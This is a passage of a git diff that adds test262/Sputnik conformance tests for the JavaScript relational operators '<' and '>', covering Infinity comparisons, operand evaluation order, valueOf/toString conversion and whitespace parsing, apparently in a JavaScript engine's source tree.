+if ((Number.NEGATIVE_INFINITY < Number.MAX_VALUE) !== true) {
+ $ERROR('#5: (-Infinity < Number.MAX_VALUE) === true');
+}
+
+//CHECK#6
+if ((Number.NEGATIVE_INFINITY < Number.MIN_VALUE) !== true) {
+ $ERROR('#6: (-Infinity < Number.MIN_VALUE) === true');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.8.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.8.js
new file mode 100644
index 000000000..ac5202d5a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.8.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If y is -Infinity, return false
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A4.8.js
+ * @description x is number primitive
+ */
+
+//CHECK#1
+if ((0 < Number.NEGATIVE_INFINITY) !== false) {
+ $ERROR('#1: (0 < -Infinity) === false');
+}
+
+//CHECK#2
+if ((1.1 < Number.NEGATIVE_INFINITY) !== false) {
+ $ERROR('#2: (1.1 < -Infinity) === false');
+}
+
+//CHECK#3
+if ((-1.1 < Number.NEGATIVE_INFINITY) !== false) {
+ $ERROR('#3: (-1.1 < -Infinity) === false');
+}
+
+//CHECK#4
+if ((Number.POSITIVE_INFINITY < Number.NEGATIVE_INFINITY) !== false) {
+ $ERROR('#4: (+Infinity < -Infinity) === false');
+}
+
+//CHECK#5
+if ((Number.MAX_VALUE < Number.NEGATIVE_INFINITY) !== false) {
+ $ERROR('#5: (Number.MAX_VALUE < -Infinity) === false');
+}
+
+//CHECK#6
+if ((Number.MIN_VALUE < Number.NEGATIVE_INFINITY) !== false) {
+ $ERROR('#6: (Number.MIN_VALUE < -Infinity) === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.9.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.9.js
new file mode 100644
index 000000000..32839492c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.9.js
@@ -0,0 +1,52 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x is less than y and these values are both finite non-zero, return true; otherwise, return false
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A4.9.js
+ * @description x and y are number primitives
+ */
+
+//CHECK#1
+if ((1.1 < 1) !== false) {
+ $ERROR('#1: (1.1 < 1) === false');
+}
+
+//CHECK#2
+if ((1 < 1.1) !== true) {
+ $ERROR('#2: (1 < 1.1) === true');
+}
+
+//CHECK#3
+if ((-1.1 < -1) !== true) {
+ $ERROR('#3: (-1.1 < -1) === true');
+}
+
+//CHECK#4
+if ((-1 < -1.1) !== false) {
+ $ERROR('#4: (-1 < -1.1) === false');
+}
+
+//CHECK#5
+if ((0 < 0.1) !== true) {
+ $ERROR('#5: (0 < 0.1) === true');
+}
+
+//CHECK#6
+if ((-0.1 < 0) !== true) {
+ $ERROR('#6: (-0.1 < 0) === true');
+}
+
+//CHECK#7
+if ((Number.MAX_VALUE/2 < Number.MAX_VALUE) !== true) {
+ $ERROR('#7: (Number.MAX_VALUE/2 < Number.MAX_VALUE) === true');
+}
+
+//CHECK#8
+if ((Number.MIN_VALUE < Number.MIN_VALUE*2) !== true) {
+ $ERROR('#8: (Number.MIN_VALUE < Number.MIN_VALUE*2) === true');
+}
+
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/browser.js b/js/src/tests/test262/ch11/11.8/11.8.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/browser.js
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/shell.js b/js/src/tests/test262/ch11/11.8/11.8.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/shell.js
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/11.8.2-1.js b/js/src/tests/test262/ch11/11.8/11.8.2/11.8.2-1.js
new file mode 100644
index 000000000..97270dca2
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/11.8.2-1.js
@@ -0,0 +1,31 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.8/11.8.2/11.8.2-1.js
+ * @description 11.8.2 Greater-than Operator - Partial left to right order enforced when using Greater-than operator: valueOf > valueOf
+ */
+
+
+function testcase() {
+ var accessed = false;
+ var obj1 = {
+ valueOf: function () {
+ accessed = true;
+ return 3;
+ }
+ };
+ var obj2 = {
+ valueOf: function () {
+ if (accessed === true) {
+ return 4;
+ } else {
+ return 2;
+ }
+ }
+ };
+ return !(obj1 > obj2);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/11.8.2-2.js b/js/src/tests/test262/ch11/11.8/11.8.2/11.8.2-2.js
new file mode 100644
index 000000000..248452e99
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/11.8.2-2.js
@@ -0,0 +1,31 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.8/11.8.2/11.8.2-2.js
+ * @description 11.8.2 Greater-than Operator - Partial left to right order enforced when using Greater-than operator: valueOf > toString
+ */
+
+
+function testcase() {
+ var accessed = false;
+ var obj1 = {
+ valueOf: function () {
+ accessed = true;
+ return 3;
+ }
+ };
+ var obj2 = {
+ toString: function () {
+ if (accessed === true) {
+ return 4;
+ } else {
+ return 2;
+ }
+ }
+ };
+ return !(obj1 > obj2);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/11.8.2-3.js b/js/src/tests/test262/ch11/11.8/11.8.2/11.8.2-3.js
new file mode 100644
index 000000000..b0db66533
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/11.8.2-3.js
@@ -0,0 +1,31 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.8/11.8.2/11.8.2-3.js
+ * @description 11.8.2 Greater-than Operator - Partial left to right order enforced when using Greater-than operator: toString > valueOf
+ */
+
+
+function testcase() {
+ var accessed = false;
+ var obj1 = {
+ toString: function () {
+ accessed = true;
+ return 3;
+ }
+ };
+ var obj2 = {
+ valueOf: function () {
+ if (accessed === true) {
+ return 4;
+ } else {
+ return 2;
+ }
+ }
+ };
+ return !(obj1 > obj2);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/11.8.2-4.js b/js/src/tests/test262/ch11/11.8/11.8.2/11.8.2-4.js
new file mode 100644
index 000000000..50817010b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/11.8.2-4.js
@@ -0,0 +1,31 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.8/11.8.2/11.8.2-4.js
+ * @description 11.8.2 Greater-than Operator - Partial left to right order enforced when using Greater-than operator: toString > toString
+ */
+
+
+function testcase() {
+ var accessed = false;
+ var obj1 = {
+ toString: function () {
+ accessed = true;
+ return 3;
+ }
+ };
+ var obj2 = {
+ toString: function () {
+ if (accessed === true) {
+ return 4;
+ } else {
+ return 2;
+ }
+ }
+ };
+ return !(obj1 > obj2);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A1.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A1.js
new file mode 100644
index 000000000..e2d072282
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between RelationalExpression and ">" or ">" and ShiftExpression are allowed
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (eval("0\u0009>\u00091") !== false) {
+ $ERROR('#1: 0\\u0009>\\u00091) === false');
+}
+
+//CHECK#2
+if (eval("0\u000B>\u000B1") !== false) {
+ $ERROR('#2: 0\\u000B>\\u000B1) === false');
+}
+
+//CHECK#3
+if (eval("0\u000C>\u000C1") !== false) {
+ $ERROR('#3: (0\\u000C>\\u000C1) === false');
+}
+
+//CHECK#4
+if (eval("0\u0020>\u00201") !== false) {
+ $ERROR('#4: (0\\u0020>\\u00201) === false');
+}
+
+//CHECK#5
+if (eval("0\u00A0>\u00A01") !== false) {
+ $ERROR('#5: (0\\u00A0>\\u00A01) === false');
+}
+
+//CHECK#6
+if (eval("0\u000A>\u000A1") !== false) {
+ $ERROR('#6: (0\\u000A>\\u000A1) === false');
+}
+
+//CHECK#7
+if (eval("0\u000D>\u000D1") !== false) {
+ $ERROR('#7: (0\\u000D>\\u000D1) === false');
+}
+
+//CHECK#8
+if (eval("0\u2028>\u20281") !== false) {
+ $ERROR('#8: (0\\u2028>\\u20281) === false');
+}
+
+//CHECK#9
+if (eval("0\u2029>\u20291") !== false) {
+ $ERROR('#9: (0\\u2029>\\u20291) === false');
+}
+
+//CHECK#10
+if (eval("1\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029>=\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u20291") !== true) {
+ $ERROR('#10: (1\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029>=\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u20291) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A2.1_T1.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A2.1_T1.js
new file mode 100644
index 000000000..9ae91af51
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A2.1_T1.js
@@ -0,0 +1,43 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x > y uses GetValue
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A2.1_T1.js
+ * @description Either Type is not Reference or GetBase is not null
+ */
+
+//CHECK#1
+if (2 > 1 !== true) {
+ $ERROR('#1: 2 > 1 === true');
+}
+
+//CHECK#2
+var x = 2;
+if (x > 1 !== true) {
+ $ERROR('#2: var x = 2; x > 1 === true');
+}
+
+//CHECK#3
+var y = 1;
+if (2 > y !== true) {
+ $ERROR('#3: var y = 1; 2 > y === true');
+}
+
+//CHECK#4
+var x = 2;
+var y = 1;
+if (x > y !== true) {
+ $ERROR('#4: var x = 2; var y = 1; x > y === true');
+}
+
+//CHECK#5
+var objectx = new Object();
+var objecty = new Object();
+objectx.prop = 2;
+objecty.prop = 1;
+if (objectx.prop > objecty.prop !== true) {
+ $ERROR('#5: var objectx = new Object(); var objecty = new Object(); objectx.prop = 2; objecty.prop = 1; objectx.prop > objecty.prop === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A2.1_T2.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A2.1_T2.js
new file mode 100644
index 000000000..c6c0a2c71
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A2.1_T2.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x > y uses GetValue
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A2.1_T2.js
+ * @description If GetBase(x) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ x > 1;
+ $ERROR('#1.1: x > 1 throw ReferenceError. Actual: ' + (x > 1));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x > 1 throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A2.1_T3.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A2.1_T3.js
new file mode 100644
index 000000000..bf7dfc5e7
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A2.1_T3.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x > y uses GetValue
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A2.1_T3.js
+ * @description If GetBase(y) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ 1 > y;
+ $ERROR('#1.1: 1 > y throw ReferenceError. Actual: ' + (1 > y));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1 > y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A2.2_T1.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A2.2_T1.js
new file mode 100644
index 000000000..e8d7595ba
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A2.2_T1.js
@@ -0,0 +1,71 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x > y uses [[Default Value]]
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A2.2_T1.js
+ * @description If Type(value) is Object, evaluate ToPrimitive(value, Number)
+ */
+
+//CHECK#1
+if ({valueOf: function() {return 2}} > 1 !== true) {
+ $ERROR('#1: {valueOf: function() {return 1}} > 1 === true. Actual: ' + ({valueOf: function() {return 1}} > 1));
+}
+
+//CHECK#2
+if ({valueOf: function() {return 2}, toString: function() {return 0}} > 1 !== true) {
+ $ERROR('#2: {valueOf: function() {return 1}, toString: function() {return 2}} > 1 === true. Actual: ' + ({valueOf: function() {return 1}, toString: function() {return 2}} > 1));
+}
+
+//CHECK#3
+if ({valueOf: function() {return 2}, toString: function() {return {}}} > 1 !== true) {
+ $ERROR('#3: {valueOf: function() {return 1}, toString: function() {return {}}} > 1 === true. Actual: ' + ({valueOf: function() {return 1}, toString: function() {return {}}} > 1));
+}
+
+//CHECK#4
+try {
+ if ({valueOf: function() {return 2}, toString: function() {throw "error"}} > 1 !== true) {
+ $ERROR('#4.1: {valueOf: function() {return 1}, toString: function() {throw "error"}} > 1 === true. Actual: ' + ({valueOf: function() {return 1}, toString: function() {throw "error"}} > 1));
+ }
+}
+catch (e) {
+ if (e === "error") {
+ $ERROR('#4.2: {valueOf: function() {return 2}, toString: function() {throw "error"}} > 1 not throw "error"');
+ } else {
+ $ERROR('#4.3: {valueOf: function() {return 2}, toString: function() {throw "error"}} > 1 not throw Error. Actual: ' + (e));
+ }
+}
+
+//CHECK#5
+if (1 > {toString: function() {return 0}} !== true) {
+ $ERROR('#5: 1 > {toString: function() {return 0}} === true. Actual: ' + (1 > {toString: function() {return 0}}));
+}
+
+//CHECK#6
+if (1 > {valueOf: function() {return {}}, toString: function() {return 0}} !== true) {
+ $ERROR('#6: 1 > {valueOf: function() {return {}}, toString: function() {return 0}} === true. Actual: ' + (1 > {valueOf: function() {return {}}, toString: function() {return 0}}));
+}
+
+//CHECK#7
+try {
+ 1 > {valueOf: function() {throw "error"}, toString: function() {return 0}};
+ $ERROR('#7.1: 1 > {valueOf: function() {throw "error"}, toString: function() {return 0}} throw "error". Actual: ' + (1 > {valueOf: function() {throw "error"}, toString: function() {return 0}}));
+}
+catch (e) {
+ if (e !== "error") {
+ $ERROR('#7.2: 1 > {valueOf: function() {throw "error"}, toString: function() {return 0}} throw "error". Actual: ' + (e));
+ }
+}
+
+//CHECK#8
+try {
+ 1 > {valueOf: function() {return {}}, toString: function() {return {}}};
+ $ERROR('#8.1: 1 > {valueOf: function() {return {}}, toString: function() {return {}}} throw TypeError. Actual: ' + (1 > {valueOf: function() {return {}}, toString: function() {return {}}}));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#8.2: 1 > {valueOf: function() {return {}}, toString: function() {return {}}} throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A2.3_T1.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A2.3_T1.js
new file mode 100644
index 000000000..ab2e5a0e5
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A2.3_T1.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * In ES5, First expression should be evaluated first.
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A2.3_T1.js
+ * @description Checking that operands of a "<" evaluate left-to-right
+ */
+
+//CHECK#1
+var x = { valueOf: function () { throw "x"; } };
+var y = { valueOf: function () { throw "y"; } };
+try {
+ x > y;
+ $ERROR('#1.1: Should have thrown');
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: First expression should be evaluated first');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: Failed with: ' + e);
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A2.4_T1.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A2.4_T1.js
new file mode 100644
index 000000000..ac5f1b540
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A2.4_T1.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A2.4_T1.js
+ * @description Checking with "="
+ */
+
+//CHECK#1
+var x = 0;
+if ((x = 1) > x !== false) {
+ $ERROR('#1: var x = 0; (x = 1) > x === false');
+}
+
+//CHECK#2
+var x = 1;
+if (x > (x = 0) !== true) {
+ $ERROR('#2: var x = 1; x > (x = 0) === true');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A2.4_T2.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A2.4_T2.js
new file mode 100644
index 000000000..274f117cb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A2.4_T2.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A2.4_T2.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = function () { throw "x"; };
+var y = function () { throw "y"; };
+try {
+ x() > y();
+ $ERROR('#1.1: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() > y() throw "x". Actual: ' + (x() > y()));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: First expression is evaluated first, and then second expression');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() > y() throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A2.4_T3.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A2.4_T3.js
new file mode 100644
index 000000000..d3228fdce
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A2.4_T3.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A2.4_T3.js
+ * @description Checking with undeclarated variables
+ */
+
+//CHECK#1
+try {
+ x > (x = 1);
+ $ERROR('#1.1: x > (x = 1) throw ReferenceError. Actual: ' + (x > (x = 1)));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x > (x = 1) throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+if ((y = 1) > y !== false) {
+ $ERROR('#2: (y = 1) > y === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T1.1.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T1.1.js
new file mode 100644
index 000000000..4f69c859e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T1.1.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x > y returns ToNumber(x) > ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A3.1_T1.1.js
+ * @description Type(Primitive(x)) and Type(Primitive(y)) vary between primitive boolean and Boolean object
+ */
+
+//CHECK#1
+if (true > true !== false) {
+ $ERROR('#1: true > true === false');
+}
+
+//CHECK#2
+if (new Boolean(true) > true !== false) {
+ $ERROR('#2: new Boolean(true) > true === false');
+}
+
+//CHECK#3
+if (true > new Boolean(true) !== false) {
+ $ERROR('#3: true > new Boolean(true) === false');
+}
+
+//CHECK#4
+if (new Boolean(true) > new Boolean(true) !== false) {
+ $ERROR('#4: new Boolean(true) > new Boolean(true) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T1.2.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T1.2.js
new file mode 100644
index 000000000..2a076c6c6
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T1.2.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x > y returns ToNumber(x) > ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A3.1_T1.2.js
+ * @description Type(Primitive(x)) and Type(Primitive(y)) vary between primitive number and Number object
+ */
+
+//CHECK#1
+if (1 > 1 !== false) {
+ $ERROR('#1: 1 > 1 === false');
+}
+
+//CHECK#2
+if (new Number(1) > 1 !== false) {
+ $ERROR('#2: new Number(1) > 1 === false');
+}
+
+//CHECK#3
+if (1 > new Number(1) !== false) {
+ $ERROR('#3: 1 > new Number(1) === false');
+}
+
+//CHECK#4
+if (new Number(1) > new Number(1) !== false) {
+ $ERROR('#4: new Number(1) > new Number(1) === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T1.3.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T1.3.js
new file mode 100644
index 000000000..597266349
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T1.3.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x > y returns ToNumber(x) > ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A3.1_T1.3.js
+ * @description Type(Primitive(x)) and Type(Primitive(y)) vary between Null and Undefined
+ */
+
+//CHECK#1
+if (null > undefined !== false) {
+ $ERROR('#1: null > undefined === false');
+}
+
+//CHECK#2
+if (undefined > null !== false) {
+ $ERROR('#2: undefined > null === false');
+}
+
+//CHECK#3
+if (undefined > undefined !== false) {
+ $ERROR('#3: undefined > undefined === false');
+}
+
+//CHECK#4
+if (null > null !== false) {
+ $ERROR('#4: null > null === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T2.1.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T2.1.js
new file mode 100644
index 000000000..81ba83400
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T2.1.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x > y returns ToNumber(x) > ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A3.1_T2.1.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between Number (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+if (true > 1 !== false) {
+ $ERROR('#1: true > 1 === false');
+}
+
+//CHECK#2
+if (1 > true !== false) {
+ $ERROR('#2: 1 > true === false');
+}
+
+//CHECK#3
+if (new Boolean(true) > 1 !== false) {
+ $ERROR('#3: new Boolean(true) > 1 === false');
+}
+
+//CHECK#4
+if (1 > new Boolean(true) !== false) {
+ $ERROR('#4: 1 > new Boolean(true) === false');
+}
+
+//CHECK#5
+if (true > new Number(1) !== false) {
+ $ERROR('#5: true > new Number(1) === false');
+}
+
+//CHECK#6
+if (new Number(1) > true !== false) {
+ $ERROR('#6: new Number(1) > true === false');
+}
+
+//CHECK#7
+if (new Boolean(true) > new Number(1) !== false) {
+ $ERROR('#7: new Boolean(true) > new Number(1) === false');
+}
+
+//CHECK#8
+if (new Number(1) > new Boolean(true) !== false) {
+ $ERROR('#8: new Number(1) > new Boolean(true) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T2.2.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T2.2.js
new file mode 100644
index 000000000..4d6f8fc81
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T2.2.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x > y returns ToNumber(x) > ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A3.1_T2.2.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between Number (primitive or object) and String (primitive and object)
+ */
+
+//CHECK#1
+if ("1" > 1 !== false) {
+ $ERROR('#1: "1" > 1 === false');
+}
+
+//CHECK#2
+if (1 > "1" !== false) {
+ $ERROR('#2: 1 > "1" === false');
+}
+
+//CHECK#3
+if (new String("1") > 1 !== false) {
+ $ERROR('#3: new String("1") > 1 === false');
+}
+
+//CHECK#4
+if (1 > new String("1") !== false) {
+ $ERROR('#4: 1 > new String("1") === false');
+}
+
+//CHECK#5
+if ("1" > new Number(1) !== false) {
+ $ERROR('#5: "1" > new Number(1) === false');
+}
+
+//CHECK#6
+if (new Number(1) > "1" !== false) {
+ $ERROR('#6: new Number(1) > "1" === false');
+}
+
+//CHECK#7
+if (new String("1") > new Number(1) !== false) {
+ $ERROR('#7: new String("1") > new Number(1) === false');
+}
+
+//CHECK#8
+if (new Number(1) > new String("1") !== false) {
+ $ERROR('#8: new Number(1) > new String("1") === false');
+}
+
+//CHECK#9
+if ("x" > 1 !== false) {
+ $ERROR('#9: "x" > 1 === false');
+}
+
+//CHECK#10
+if (1 > "x" !== false) {
+ $ERROR('#10: 1 > "x" === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T2.3.js b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T2.3.js
new file mode 100644
index 000000000..63ec06aac
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/S11.8.2_A3.1_T2.3.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x > y returns ToNumber(x) > ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.2/S11.8.2_A3.1_T2.3.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between Number (primitive or object) and Null
+ */
+
+//CHECK#1
+if (1 > null !== true) {
+ $ERROR('#1: 1 > null === true');
+}
+
+//CHECK#2
+if (null > 1 !== false) {
+ $ERROR('#2: null > 1 === false');
+}
+
+//CHECK#3
+if (new Number(1) > null !== true) {
